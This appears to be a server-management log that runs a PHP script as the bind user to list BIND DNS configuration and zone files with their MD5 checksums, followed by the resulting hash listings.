MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-24 10:51:56: Establishing a connection
2026-05-24 10:52:00: Establishing a connection
2026-05-24 10:52:01: 

PUT: /tmp/pkp851162

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-24 10:52:01: 

runuser -l bind -s /bin/bash -c '/tmp/pkp851162; rm /tmp/pkp851162'

2026-05-24 10:52:01: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-24 10:52:37: Establishing a connection
2026-05-24 10:52:37: 

PUT: /tmp/pkp167904

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-24 10:52:37: 

runuser -l bind -s /bin/bash -c '/tmp/pkp167904; rm /tmp/pkp167904'

2026-05-24 10:52:37: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
